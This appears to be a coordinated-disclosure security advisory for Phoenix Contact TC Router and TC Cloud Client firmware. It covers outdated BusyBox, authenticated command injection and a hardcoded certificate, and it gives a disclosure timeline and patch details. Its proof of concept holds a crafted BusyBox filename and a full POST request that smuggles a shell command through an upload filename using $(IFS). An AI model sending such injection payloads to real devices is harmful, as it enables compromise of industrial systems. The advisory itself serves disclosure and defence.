

Phoenix Contact TC Router / TC Cloud Client Command Injection

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Phoenix Contact TC Router and TC Cloud Client versions 2.05.3 and below, 2.03.17 and below, and 1.03.17 and below suffer from authenticated command injection and various other vulnerabilities.

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advisories | CVE-2020-9435, CVE-2020-9436

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title: Authenticated Command Injection  
product: Phoenix Contact TC Router & TC Cloud Client  
vulnerable version: <2.05.3 & <2.03.17 & <1.03.17  
fixed version: 2.05.4 & 2.03.18 & 1.03.18  
CVE number: CVE-2020-9436, CVE-2020-9435  
impact: High  
homepage: https://www.phoenixcontact.com/  
found: 2020-01-23  
by: T. Weber (Office Vienna)  
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Vendor description:  
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"Phoenix Contact is a globally present, Germany-based market leader. Our group is synonymous with future-oriented components, systems, and solutions in the fields of electrical engineering, electronics, and automation. A global network across more than 100 countries and 15,000 employees ensure close proximity to our customers, which we believe is particularly important."  
  
Source:  
https://www.phoenixcontact.com/online/portal/pc?ldm%3Aurl%3Dwcm%3Apath%3A/pc/en/web/corporate/company/subcategory\_pages/Who\_we\_are/  
  
Business recommendation:  
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The vendor provides a patch which should be installed immediately.  
  
SEC Consult recommends to perform a thorough security review of these products conducted by security professionals to identify and resolve all security issues.  
  
Vulnerability overview/description:  
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1) Known BusyBox Vulnerabilities  
The used BusyBox toolkit in version 1.18.5 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector. One of the discovered vulnerabilities (CVE-2017-16544) was verified by using the MEDUSA scalable firmware runtime.  
  
2) Authenticated Command Injection (CVE-2020-9436)  
An authenticated command injection vulnerability can be triggered by issuing a POST request to the "/cgi-bin/p/adm/cfg" CGI program which is available on the web interface. An attacker can abuse this vulnerability to compromise the operating system of the device. This issue was found by emulating the firmware of the device.  
  
3) Embedded Private X.509 Certificate (CVE-2020-9435)  
The device contains a hardcoded certificate which can be used to run the web service. This certificate is used for HTTPS (default server certificate for web based configuration and management).  
  
Impersonation, man-in-the-middle or passive decryption attacks are possible. These attacks allow an attacker to gain access to sensitive information like admin credentials and use them in further attacks.  
  
Proof of concept:  
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1) Known BusyBox Vulnerabilities  
BusyBox version 1.18.5 contains multiple CVEs like:  
CVE-2016-6301, CVE-2014-9645 and CVE-2013-1813.  
  
The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device:  
  
A file with the name "\ctest\n[e]55;test.txt;a" was created to trigger the vulnerability.  
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# ls "pressing <TAB>"  
test  
55;test.txt  
#  
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2) Authenticated Command Injection (CVE-2020-9436)  
An authenticated command injection is possible via a crafted POST request.  
  
The configuration upload form in the web-interface can be used to upload an XML configuration file. The filename of this XML file can be modified with an interceptor proxy in order to inject system commands. The JavaScript code which is used to do client-side filtering can be bypassed in this way. Because of blacklisting of some characters, the \$(IFS) command must be used for adding whitespaces.  
  
Request:  
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POST /cgi-bin/p/adm/cfg HTTP/1.1  
Host: \$IP  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=-----10834433251208329385252513488  
Content-Length: 724  
Authorization: Basic YWRtaW46YWRtaW4=  
Connection: close  
Upgrade-Insecure-Requests: 1  
Cache-Control: no-transform  
  
-----10834433251208329385252513488  
Content-Disposition: form-data; name="exportmode"  
  
0  
-----10834433251208329385252513488  
Content-Disposition: form-data; name="xmlmode"  
  
on  
-----10834433251208329385252513488  
Content-Disposition: form-data; name="importmode"  
  
0  
-----10834433251208329385252513488  
Content-Disposition: form-data; name="cfg\_upload"; filename="config.xml;ls\$(IFS)-la"

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2020-01-29: Sent advisory to vendor via PGP through psirt@phoenixcontact.com/
Vendor confirmed to receive the advisory.
2020-02-26: Vendor stated that the vulnerabilities were confirmed and that a
firmware upgrade will be available in the next days.
2020-02-29: Asked vendor for further affected devices and firmware versions.
2020-03-02: Received information about further affected devices and firmware
versions from vendor. The release of the new firmware version is
planned for the end of the week. CVE numbers were requested by
the vendor.
2020-03-05: Found new firmware version numbers on the vendor's website. Asked
the vendor about the status regarding CVE numbers.
2020-03-05: Received CVE numbers.
2020-03-12: Coordinated release of security advisory.

Solution:
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Update the firmware of the affected devices to 1.03.18, 2.03.18 or 2.05.4.

The new versions can be downloaded from the firmware page:
https://www.phoenixcontact.com/online/portal/us?
ldm%urlle=wcm%3apath%3a/user/web/main/service_and_support/application_pages/Firmware/Firmware

Workaround:
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Restrict network access to the device.

Advisory URL:
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https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

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